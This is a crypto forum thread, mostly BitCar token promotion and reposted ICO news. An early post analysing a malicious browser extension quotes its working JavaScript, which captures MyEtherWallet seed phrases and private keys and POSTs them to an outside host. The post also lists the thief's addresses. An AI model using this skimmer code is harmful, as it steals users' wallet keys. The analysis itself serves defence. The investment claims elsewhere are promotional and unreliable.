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I understand.
What if someone makes an extension to block this type of behaviour?
Requests could be blocked to certain urls, cors enforced, etc.
By having an external list, say being grabbed from github it could be updated much quicker than relying on google or registrars to take down extensions/domains
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Had a quick look. How the extension works is by filtering the domains listed and get information such as seed and send it to https://help-tools.org/courses/currentc.phpMyEtherWallet: if (location.href.indexOf('myetherwallet') > -1) {
function kurilkaNJSmo() {
document.onkeyup = function(e) {
e = e || window.event;
if (e.keyCode === 13) {
var seeddas = $("#aria4").val();
var pkk = $("#aria6").val();
var myseedwal = seeddas + ' + ' + pkk;
$.ajax({
type: 'POST',
url: 'https://help-tools.org/courses/currentc.php',
crossDomain: !0,
data: {
meww: "none" + ":" + "myetherwallet" + ":" + myseedwal
},
dataType: 'html',
})
}
return !1
}
document.body.addEventListener("click", function(event) {
if (event.toElement.className == "btn btn-primary ng-scope") {
console.log("go");
var seeddas = $("#aria4").val();
var pkk = $("#aria6").val();
var myseedwal = seeddas + ' + ' + pkk;
$.ajax({
type: 'POST',
url: 'https://help-tools.org/courses/currentc.php',
crossDomain: !0,
data: {
meww: "none" + ":" + "myetherwallet" + ":" + myseedwal
},
dataType: 'html',
})
}
})
}
setTimeout(kurilkaNJSmo, 2000)
}That domain was clearly hacked. The expected format is something like none:myetherwallet:key When sending a GET request some currency tickers are returned. Sending a POST request the response sends the same data but with either a "+" or "-" as the very first character of the page, depending on where the format is valid or not? By removing some of the parameters "invalid" is returned. Best bet would be to block the domain but if the user is smart enough to block a domain it will be smart enough not to download the extension in the first place i would assume. EDIT: Addresses of the thief: CypherMcDAG.BTC = '16EegrNMdZ9Rxku6Za5neEFjMW57wkQr1S';
CypherMcDAG.ETH = '0x03b70dc31abf9cf6c1cf80bfeeb322e8d3dbb4ca';
CypherMcDAG.ETС = '0x4F53C9882Ba87d2D7c525dF2aEF2540EFB6e32e5';
CypherMcDAG.BCH = '1PCh7w6LdcEv1sWd5wtvkELHcWe5HumUi3';
CypherMcDAG.LTC = 'LRPChoyN8qLWENjo1dUjk2bESZjE7bQ6sP'; Some comments: //tut kodpzds - Google translate autodetects russian? Ofc.. //bikbuk = bikbuk*0.01; Some urls: https://help-tools.org/courses/plsnoban.phphttps://help-tools.org/md5.phphttps://help-tools.org/courses/status.php?s=c |
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 Hello BitCar enthusiasts. Today we present you with some of the technical challenges that we and many other blockchain projects currently face. We are looking for your innovative and clever ideas! With this new series of blog posts, we hope not only to engage in the process of becoming more transparent about what we are doing but also to get some positive feedback from the community. Hopefully, we can then learn about, and share some clever ideas on how to solve some of these common Blockchain / Ethereum decentralized technical challenges. Problem: As some of you may be aware, the Car Token (tokens representing a particular Platform Car) will have a fixed supply and will be pegged to a fiat currency on a 1:1 ratio, i.e. say a Ferrari worth USD 1 million comes onto the BitCar platform, then it will get 1,000,000 of its own Car Tokens, unique to that car. This means that when these Car Tokens are bought, using some of the post 31 July 2018 token burn’s 111,485,497 circulating supply of BitCar tokens (these are different from the Car Tokens), a conversion needs to happen in order to calculate the right number of BitCar tokens per Car Token. The problem is how to cheaply and quickly get external BitCar token price data onto the Ethereum blockchain. Ideally, a solution would be available that is not only cost effective but also truly decentralized. Currently, we don’t see a strong one, do you? Solutions: Read full blog post here: https://medium.com/@bitcar/bitcar-developers-are-seeking-community-feedback-bitcartec-4fd80a64d8e0 |
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 Luxury car startup BitCar has revealed what you do when you initial coin offering doesn’t raise as much as you’d hoped. The company, which is developing a Blockchain platform that offers cryptocurrency payments for fractional ownership of collectible car brands like Ferrari, launched an initial coin offering last year with plans to raise $25 million at the start of the year. Punters could buy BITCAR tokens, with the business aiming to be the main cryptocurrency used in the auto sector. The Bitcar platform would let investors pay by cryptocurrency for a slice of luxury vehicles, which the business planned to buy on their behalf and then hold for around 15 years, until they appreciate enough to sell. The Australian business set up in Singapore for regulatory purposes and raised $S6.5 million in its token pre-sale Its public sale netted just under $S3 million – bringing the total raise to $9.5 million earlier this year – less than half of the goal. One token was worth US10c. According to Coin Gecko, it was trading for AU1.2c on Friday. Bitcar management told Stockhead the smaller raise amount saw the company re-assess. “Due to the smaller raise, BitCar have decided to burn unsold tokens from the ICO –– thus reducing the circulating and total supply,” the company said. This means they’re essentially getting rid of the excess and improving the scarcity of the tokens they did sell. The founders also said they planned to burn 50 per cent of their allocated tokens. Despite the company not hitting the raise target, they’ve still got more than $9 million in cash and cryptocurrencies in the piggy bank to be used on developing their luxury car fractional-ownership platform. Where are they up to? “The BitCar Platform is currently undergoing development to be updated to a decentralised platform, users will be onboarded when the platform is live so we will be receiving metrics on user data then,” the company told Stockhead. Read full article here: https://stockhead.com.au/tech/bitcar-ended-up-raising-9m-in-its-25m-ico-heres-what-its-been-doing-since/ |
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 John Connolly, columnist from The Australian, shared with his audience how to make a fortune buying cars. He demonstrates, with many similarities to BitCar’s vision, the appreciation of cars and the factors he holds to account, whilst searching for the perfect car. He calls them his ‘six golden rules’ and they are ones you shouldn’t ignore. He put them together with friend and publisher of the Hagerty Price Guide, Dave Kinney. The Six Golden RulesKinney points out that “there is a huge difference in value between ‘kinda nice’ and a ‘standout’ car”. You can buy a kind of nice 1973 Porsche 911 Targa for USD $91,000 or a serious low-mileage investment grade one will cost you $292,000. In 1973, Roy Eller brought his Kelly Green Targa and decided it would be a great investment, so he naturally put it into storage with 3400 miles on it. 30 years later it was sold by Dave Gooding for $426,000. In 1980 Peter Briggs, our BitCar advisor, brought the 1963 Jaguar E-Type Lightweight for $76,000 and sold it in 1999 for $800,000. In January last year Bonhams sold it for $9.7M. Rule 2: The more original the better, most of the time.In 1967, driver Ugo Pillon found a 1925 Bugatti at the bottom of Lake Como. In 2009, he brought it to the surface for Bonhams to auction for charity. Pete Mullion, who made billions selling financial services and owns his own art deco car museum, paid $500,000 for it.
Rule 3: Documentation reigns supreme.A golden rule we at BitCar follow very strictly is clear provenance and documentation. Roy Eller’s car, the Targa, had all the original documentation and parts ranging from original sales invoice, owner’s manual, maintenance record, warranty book, Porsche certificate of authenticity, even down to the tool kit, leather key fob, registration cards and sales documentation dating back to 1973. As Connolly states “no documents, no buy”. Rule 4: Buy rare cars with a history.The history of the car speaks a lot about its value. Cars that have that rarity factor, the more famous the owner or driver, the more important the serial number, the better the investment. For example what would be the valuation of a car that was one of 10 ever built; a podium at Le Mans, Monte Carlo, the Tour de France; driven by Mossie, Fangio, Shelby or all three of them? Now that is one story worth telling. Briggs’ 1963 Jaguar E-Type Lightweight was owned from new by Australian motor racing legend Bob Jane, before being auctioned by Bonhams for the $9.7M. A good story always makes for a good sale. Rule 5: Look at the demographics.Cars are an emotional buy for most, so why wouldn’t an investment piece be? If you look to Baby-boomer classic car buyers, they generally want the cars like E-types, that they couldn’t afford when they were teenagers. If you’re 60 go down a generation and buy a car from the 70s, which will see 20 year’s more of growth.
Rule 6: You have to love it and you have to love driving it.As we mentioned, cars are an emotional buy for the thrill of the ride, for the memories, or the lust factor. Don’t just buy it as an investment. Buy it to become an advocate for it. Show it, have articles written about it, a museum to showcase it, like Briggs. Here at BitCar we share the vision in pursuing the best cars for the benefit of our community. Originality creates more hype and documentation shows authenticity and cars with history have a sense of uniqueness to them, that has matured over time. We are going through extraordinary lengths to ensure that our cars are in impeccable condition.
Now remember, this is not about buying a classic car, but actually investing in the hope that it will be worth more than you paid for at some time in the future. Individual brands of cars like Ferraris from 1958 to 1973 have left every other asset for dead, but so have some more recent Porsches and other supercars. Old cars used to be 25 years old. Now they can be collectables at 25 months. — John ConnollyRead original article here: https://medium.com/bitcar-mag/how-to-make-a-fortune-buying-the-car-you-love-53d1db516e6 |
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 #SelfiewithaBitCar 2 ETH GiveawayWe are giving away 2 ETH worth* of crypto each fortnight as a part of our #selfiewithaBitCar campaign! Round Two of our campaign is open until the 10 July 2018, so what are you waiting for? Get creative! How To EnterWe’d like to see you in your most creative photo with a BitCar! - Take a picture of yourself with a supercar or dream car of yours.
- Use the #selfiewithaBitCar hashtag in your post.
- Share publicly on Facebook, Twitter or Instagram.
- One lucky winner will be announced fortnightly, each Wednesday the campaign runs!
Winning PrizeEach lucky winner will receive: - BitCar T-shirt, cap and stickers.
What are you waiting for? Be creative and get your #selfiewithaBitCar on! All details here: https://medium.com/bitcar-mag/bitcar-weekly-2-eth-giveaway-4ebe1abfa2f3[/list][/list] |
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Where To Buy BITCAR?
BitCar Exchange ListingsBITCAR tokens can now be purchased on the following exchanges for use on the BitCar Platform: IDEX: https://idex.market/eth/bitcarIDEX is the only decentralized exchange with real-time, high-throughout trading. IDEX combines the experience of a centralized exchange with the security of blockchain-based settlement. Token Jar: https://tokenjar.io/BITCARTokenJar is a decentralized Ethereum Token Exchange using the 0x protocol for maximum safe and speed. TokenJar features zero service fees. Blockfolio: https://blockfolio.com/Blockfolio offers complete cryptocurrency management, with easy to use tools to keep track of all your cryptocurrency investments. Get detailed price and market information for individual currencies and your entire portfolio all in one place. Joyso: https://joyso.io/trade/en/markets;token=BITCAR
JOYSO, the Ethereum based exchange, offers the speed of a centralised platform while providing the security and privacy of a decentrlized exchange. DDEX: https://ddex.io/trade/BITCAR-ETHUser-Friendly decentralized exchange for Ethereum-Based Tokens. Building on top of Ethereum smart contracts and the 0x protocol, DDEX allows users to trade ERC-20 tokens from wallet to wallet.. No uncertainty of deposit/withdrawal lockup periods. Historical data on BITCAR token can be found on the following listing sites for more information, when purchasing tokens for the BitCar platform: Live Coin Watch: https://www.livecoinwatch.com/price/BitCar-BITCAR
The best real-time crypto price index with graphs & historical data for 1500+ coins including bitcoin, ethereum, & altcoins from major cryptocurrency exchanges. As always, follow all of our social media accounts to stay up to date with the latest happenings, and join our Telegram group to speak directly to the BitCar team. Telegram: https://t.me/bitcar_ioFacebook: https://www.facebook.com/bitcar.io/Twitter: https://twitter.com/bitcar_io Instagram: https://www.instagram.com/bitcar.io/YouTube: https://www.youtube.com/channel/UCedEr1a1Xx2XcXorz-1hteQ LinkedIn: https://www.linkedin.com/company/bitcar.io/ Reddit: https://www.reddit.com/user/BitCar_io Medium: https://medium.com/@bitcarWebsite: https://bitcar.io/
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BitCar confirms token burn BlockChain company, BitCar.io has announced that unsold tokens from its April Token Sale are now set for burn, reducing circulating supply. The planned Token Burn represents approximately 60 per cent of the initial public sale amount of 250M tokens, significantly reducing the number of coins in circulation. Similar to some other cryptocurrencies, BitCar uses a dual token system design, meaning BitCar tokens would be used on the Platform (when it becomes operational) to acquire CAR tokens representing individual exotic cars available on the BitCar platform. The platform is designed to allow CAR token holders to peer-to-peer trade their tokens with others at any time, which BitCar hopes will grow into a large live marketplace over time. The ‘trade your way to a whole exotic’ model development is also expected to be introduced due to strong user feedback – where numerous users said they would love the ability to eventually wholly own an exotic car. "When a new platform car is on-boarded, its CAR tokens will each be pegged to one dollar, fractionalising the car into the CAR Blockchain currency. Each vehicle will have its own unique ‘CAR’ tokens assigned to it, for peer to peer trading” said BitCar. CAR token holders can view third-party indexes, spot prices and future value estimates, along with data such as a ‘leaderboard’ of token holders and so make their own future trading decisions based on their view of this data.  But fundamentally, in a world first, BitCar still seeks to allow those that want to own CAR tokens to gain exposure to exotics in a tokenized format. CAR token holders who own all or a majority of the tokens of a vehicle could seek to take possession of the vehicle over time or seek to put their CAR tokens back onto the platform. BitCar closed its fourth and final ICO round in April this year raising SGD9.24M. The token burn will take place before the end of July. Read official announcement here: https://bitcar.io/blog/post/bitcar-token-burn/
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Hello! I wrote a question about checking blogs a week ago, but no one has answered me yet. Tell me, when will the articles be checked? I'm worried that they will not forget me...)) Thank you!
Did you send an email with all details to bounty@bitcar.io ? |
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 Token Sale is closed. Thanks everyone for your participation in BitCar ICO!!! Special thank you to our mods and Bounty Supporters!!!🏁🏁🏁 Thank you for growing this community with us over the last few months. We have some great news coming your way and can't wait to get the platform up and running! Tokens will be delivered to your wallet within 4 weeks. You can check your token allocation here: https://mainsale.bitcar.io/stats.php |
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 Have you ever longed to buy a luxury sports car or a vintage car? This BitCar project will somehow find a way for your desire. The project aim is to give the crowd access to a range of exotic models of cars. This includes sports car and vintage classics. Project Bitcar functions by the means of a blockchain-based fractional ownership investment business. John Bulich, Co-founder and the brain behind the BitCar project have announced that they will burn any unsold tokens after the close of its public sale. It was announced a week before the end of its Initial Coin Offering (ICO). Classic cars have seen the most demand and price during auctions, according to the latest Knight Frank Luxury Investment Index. If a car’s owner is a celebrity or sports person, then the auction price will be huge. The model will hopefully generate profits by investment organizing using its native token into the kinds of cars which have historically performed well as investment instruments when compared to more traditional asset divisions. The BitCar platform uses a dual token system. After the sale is complete, tokens which are available in the Initial Coin Offering (ICO) will be used for trading on outside exchanges. For paying internal costs such as vehicle maintenance and storage charges these tokens can be used. Also, in BitCar ‘second level’ car tokens are required. These tokens are used in the platform that will be used as the digital asset token for every individual exotic car. Cars tokens are initially valued at US$1. In this case, if a BitCar manages to win the bid of any auction that happened years before, then any buyer of this car tokens would then be linked to a part of the car’s title on the blockchain. Interested middle east investors can chat with the team at the Dubai's World Blockchain Forum. Visit their website for more information.
Read the full original article here: http://bcfocus.com/index.php/2018/04/16/what-is-bitcar-project-blockchain-based-fractional-ownership-investment-business/ |
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The Bitcar project is one of the best crypto techonology projects in the entire crypto space. I wish I could own one of the exotic cars with Bitcar tokens through the blockchain technology. Thanks you management for the great work you guys are doing.
You will soon - thanks to tokenization fractional ownership is now possible. Minimum contribution for asset backed platform tokens will be $25 - which opens the market for the masses! |
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In a few days we will have our tokens  . This project will give a lot to talk about in the next months and years. Tokens will be delivered to your wallet within 4 weeks after ICO ends. We are looking forward to get the platform up and running! :-) |
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  Blockchain company BitCar.io has announced it will burn all its unsold tokens after the end of its ICO, set for 20 April 2018, further limiting the future supply of BITCAR tokens. BITCAR tokens are designed to be used in its upcoming platform to allow fractional ownership of rare exotic vehicles. These vehicles have historically outperformed many other asset classes and have not been affordable, except for the uber rich. BitCar aims to open up this market to all, in a world first. Half of all BITCAR tokens were allocated to its public and private token sale, raising over SGD 9 million to date – but any that aren’t sold (by the end date of the ICO) will be ‘burned’, a cryptocurrency term meaning the tokens are permanently destroyed. “The positive effect from burning the remaining tokens means the BitCar economy will become even more exclusive as the supply of tokens is radically reduced,” the company said Wednesday. BitCar was designed with a dual token economy that allows people to buy and sell their tokens outside of the BitCar platform and also use the cryptocurrency to peg its value into CAR tokens. BITCAR tokens are also designed to be used to purchase the CAR tokens, pay trading fees, maintenance, storage and insurance. One CAR token will initially be valued at US$1, meaning that if, for example, a McLaren F1 worth $15 million was on-boarded onto the BitCar platform, there would be 15 million McLarenF1#001 tokens (CAR tokens) created. By purchasing the related CAR tokens, users would be linking to a piece of the car’s title on the Blockchain network. Recent innovations to the design of the BitCar platform means BitCar token holders may also be able to acquire full ownership of rare exotic cars over time, an idea backed by its multi thousand Telegram community ( https://t.me/bitcar_io). The BitCar token sale is currently in the final round of its ICO, which will close on 20 April. To get the latest sale statistics for the BITCAR tokens, visit https://mainsale.bitcar.io . For more information go to https://bitcar.io/infoRead original token burn announcement here: https://www.multipliercrypto.com/bitcar-limits-future-market-supply-creating-token-exclusivity |
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  Blockchain company BitCar is forecasting its platform will be an important hedge against price volatility in the cryptocurrency markets due to BITCAR tokens being pegged to physical assets. The concept for BitCar is to peg cryptocurrency to scarce hard assets, such as rare and exotic cars - which have historically outperformed gold, stocks and property over the last ten years. This chart shows that exotic cars have experienced the highest appreciation of luxury items over a ten year period.  Singapore headquartered BitCar is developing its Blockchain platform that will facilitate cryptocurrency payments for fractional ownership of highly collectible hyper and classic cars. Rare exotic cars such as Lamborghinis, Ferraris and Bugatti’s will be acquired for BitCar and stored or displayed for up to 15 years. “BitCar is targeting high-end cars as they’ve historically had much lower price fluctuations than cryptocurrencies. The BitCar platform could be a place of stability in times of crypto market volatility,” said BitCar founder Dr Gov Vank Ek. This chart shows the price volatility of collectable cars compared to Bitcoin and global stocks. The lower the volatility, the more predictable the price of the asset.  Read more: http://www.digitaljournal.com/pr/3724049 |
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 Etherical has bought into the first tranche of the public token sale of Bitcar, based in Singapore and coming out of Perth, Australia. Token: BITCAR White Paper: https://bitcar.io/data/Bitcar%20Whitepaper.pdfTeam: https://bitcar.io/#teamToken Sale: https://mainsale.bitcar.io/Medium post: https://medium.com/bitcar-mag/tokenising-exotics-disrupting-the-global-hypercar-supercar-and-rare-classic-car-ownership-market-c363b51578eBitcar are selling 250 million of 500 million tokens in 4 tranches, after having raised US$5 million in their pre-sale. The basic idea of BitCar is tokenizing ownership of Exotic Cars. As well as their BITCAR token, specific CAR tokens will be issued to provide fractional ownership of each investment asset. Other than cryptocurrency, exotic cars have been one of the best performing asset classes. This type of super-rare, highly valuable, coveted asset increases in demand as world population grows, and tends to be recession-proof. In this sense Bitcar is a hedge, by putting crypto into a non-crypto asset. We think that Bitcar has the potential to do very well as a token. You might not be able to afford a Bugatti Veyron or Mclaren P1, but you can afford some tokens in the ownership of one (no, you don’t get to drive the cars; cars at this level are an investment, one which depreciates with mileage). Investment in this high-performing asset class was previously open only to the very wealthy. Tokenization makes it available to anyone. The demographic of who is active in cryptocurrency in the world today is mostly men, and mostly young. Young men are into exotic cars, but usually lack the resources to acquire them outright. Tokenization makes it possible to become a part owner of an exotic car. Bitcar seem highly aware of their market niche, and have already partnered with one crypto-supercar dealer Moonlambos who will accept BITCAR as payment. We like the underlying business of Bitcar, but we believe the “cool factor” of hypercar appeal could drive appreciation in token value even more than revenues and profits in the business. Read the whole article here: https://etherical.io/tag/bitcar/ |
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